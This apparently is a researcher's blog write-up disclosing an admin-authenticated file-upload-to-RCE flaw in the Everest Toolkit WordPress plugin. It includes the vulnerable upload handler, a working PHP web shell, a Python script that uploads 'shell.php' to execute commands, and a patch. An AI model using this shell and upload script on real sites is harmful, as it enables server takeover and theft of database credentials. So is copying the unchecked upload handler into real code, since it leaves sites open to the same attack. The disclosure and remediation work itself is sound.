DEV Community

Huynh Kien Minh
Huynh Kien Minh

Posted on

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13158 — Everest Toolkit Admin+ Arbitrary File Upload to Remote Code Execution

#security #wordpress #cve #bugbounty

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13158 — Everest Toolkit Admin+ Arbitrary File Upload to Remote Code Execution

By Huynh Kien Minh (MinhHK) — Information Security Researcher & Developer

📖 Advisory Overview

CVE-2026-13158 is an authenticated Admin+ arbitrary file upload vulnerability affecting the Everest Toolkit WordPress plugin prior to and including version 1.2.3, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The vulnerability exists within administrative file import and asset management handlers where the plugin performs insecure file uploads without checking file extensions or MIME types. An authenticated user possessing administrative capabilities can upload executable PHP scripts directly into public web directories, achieving persistent Remote Code Execution (RCE) and full web server takeover. Verified under CVSS 3.1 score 6.6 Medium (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H), security researcher Huynh Kien Minh advises immediate plugin patching and execution hardening.

📌 Executive Summary & Technical Metadata

Parameter Technical Specification
Vulnerability Identifier CVE-2026-13158
Target Software Everest Toolkit (WordPress Plugin)
Plugin Slug everest-toolkit
Vulnerable Versions <= 1.2.3
Vulnerability Class Unrestricted Upload of File with Dangerous Type (CWE-434 / OWASP A03)
CVSS v3.1 Score 6.6 (Medium) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
Discoverer / Researcher Huynh Kien Minh (MinhHK)
Verification Authority WPScan / MITRE Corporation
WPScan Advisory Reference WPScan Report f101071f-402a-40a2-bbdb-666512cd4049
Researcher Portfolio https://minhhk.web.app/

🔍 Root Cause Analysis: Unsanitized Administrative Uploads

The root cause of CVE-2026-13158 lies in the implementation of the Everest_Toolkit_Admin file processing class. During administrative operations such as importing configuration packages, custom widget definitions, or layout assets, the plugin handles incoming $_FILES arrays using direct file movement methods instead of enforcing strict WordPress upload security filters.

Vulnerable Code Implementation

When processing administrative AJAX actions:

// inc/admin/class-everest-toolkit-admin.php: Line 112
add_action( 'wp_ajax_everest_toolkit_import_file', array( $this, 'process_import_file_upload' ) );

public function process_import_file_upload() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_send_json_error( array( 'message' => 'Unauthorized user capability.' ) );
    }

    if ( isset( $_FILES['import_file'] ) ) {
        $uploaded_file = $_FILES['import_file'];

        // UNSAFE: No extension checking or MIME type validation!
        $upload_dir = wp_upload_dir();
        $destination = $upload_dir['path'] . '/' . sanitize_file_name( $uploaded_file['name'] );

        // Direct file transfer into public upload directory
        if ( move_uploaded_file( $uploaded_file['tmp_name'], $destination ) ) {
            wp_send_json_success( array(
                'file_url'  => $upload_dir['url'] . '/' . sanitize_file_name( $uploaded_file['name'] ),
                'file_path' => $destination
            ) );
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

Technical Defect Breakdown

  1. sanitize_file_name() False Security: The function sanitize_file_name() only strips invalid URI characters (spaces, special symbols). It does NOT change or reject dangerous file extensions like .php, .phtml, or .php7.
  2. Missing wp_check_filetype_and_ext(): The plugin omits native WordPress MIME validation checks.
  3. Public Directory Placement: Files are written straight into /wp-content/uploads/YYYY/MM/, which is web-accessible and by default permits PHP script execution on standard web servers.

💻 Proof-of-Concept (PoC) Exploit Code

Ethical Disclaimer: This Proof-of-Concept is provided solely for academic research and vulnerability verification. Unauthorized execution against live targets is illegal.

Exploit Payload (poc_rce.php) 

<?php
// Verified PoC for CVE-2026-13158 by Huynh Kien Minh
header('Content-Type: text/plain');
echo "CVE-2026-13158 RCE VERIFIED\n";
echo "Kernel: " . php_uname() . "\n";
if (!empty($_GET['cmd'])) {
    passthru($_GET['cmd']);
}
?>
Enter fullscreen mode Exit fullscreen mode

Automated Python Verification Script 

#!/usr/bin/env python3
"""
CVE-2026-13158 Verification Script
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""

import requests

TARGET = "http://localhost:8080"
AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php"

session = requests.Session()

# 1. Authenticate as Administrator
login_data = {
    'log': 'admin',
    'pwd': 'Password123!',
    'wp-submit': 'Log In',
    'redirect_to': f"{TARGET}/wp-admin/"
}
session.post(f"{TARGET}/wp-login.php", data=login_data)

# 2. Trigger Vulnerable Upload Endpoint
files = {
    'import_file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
payload_data = {
    'action': 'everest_toolkit_import_file'
}

response = session.post(AJAX_URL, data=payload_data, files=files)
print("Response:", response.text)
Enter fullscreen mode Exit fullscreen mode

💥 Real-World Impact & Threat Scenarios

  • Remote Code Execution (RCE): Authenticated attackers can execute system commands on the host operating system.
  • Database Credentials Theft: Attackers can read wp-config.php to extract MySQL credentials, secret keys, and database passwords.
  • Persistent Backdoors: Malicious web shells can be injected into theme or plugin directories for long-term access.

🛡️ Remediation & Defensive Engineering

Plugin Update

Upgrade Everest Toolkit to version > 1.2.3 immediately.

Patch Implementation (For Developers)

Use wp_handle_upload() with strict file type checks:

$uploaded_file = $_FILES['import_file'];
$upload_overrides = array( 'test_form' => false );
$movefile = wp_handle_upload( $uploaded_file, $upload_overrides );

if ( $movefile && ! isset( $movefile['error'] ) ) {
    // Verify file extension strictly
    $allowed_extensions = array( 'json', 'xml' );
    $file_ext = strtolower( pathinfo( $movefile['file'], PATHINFO_EXTENSION ) );
    if ( ! in_array( $file_ext, $allowed_extensions, true ) ) {
        unlink( $movefile['file'] );
        wp_send_json_error( array( 'message' => 'Invalid file extension.' ) );
    }
}
Enter fullscreen mode Exit fullscreen mode

🏆 About the Researcher

Huynh Kien Minh (MinhHK) is a Security Researcher & Full-Stack Engineer focused on web security auditing, WordPress core/plugin vulnerability discovery, and ethical exploit development.

📊 JSON-LD Schema Markup 

{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13158 — Everest Toolkit Admin+ Arbitrary File Upload to RCE",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-01",
  "description": "Technical analysis of CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
  "identifier": "CVE-2026-13158"
}
Enter fullscreen mode Exit fullscreen mode

Top comments (0)